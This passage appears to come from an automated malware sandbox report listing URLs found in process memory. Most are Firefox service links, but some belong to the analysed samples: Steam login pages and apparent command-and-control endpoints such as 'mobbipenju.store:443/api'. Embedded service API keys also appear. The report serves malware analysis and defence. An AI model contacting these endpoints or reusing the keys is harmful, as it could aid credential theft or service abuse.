Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsor
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2792367692.000002EE5D97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856566445.000002EE59000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2878148995.000002EE5D1ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000003.2808538158.000002EE606E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000003.2808538158.000002EE606E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856566445.000002EE59000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2941379352.00000C05D3904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2929744715.000002EE64D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000003.2787747889.000002EE5EF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001A.00000003.2728228279.000002EE64E12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2729720776.000002EE64E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2726795602.000002EE64E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001A.00000003.2769083084.000002EE5D8EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D8D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%This
Source: firefox.exe, 0000001A.00000002.2883094027.000002EE5D8BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769083084.000002EE5D8D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2883094027.000002EE5D8D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001A.00000002.2860117948.000002EE59DAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862408899.000002EE59F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%sget
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%spdfjs.previousHandler.preferredAction
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C9D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D3C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D3C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D3C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
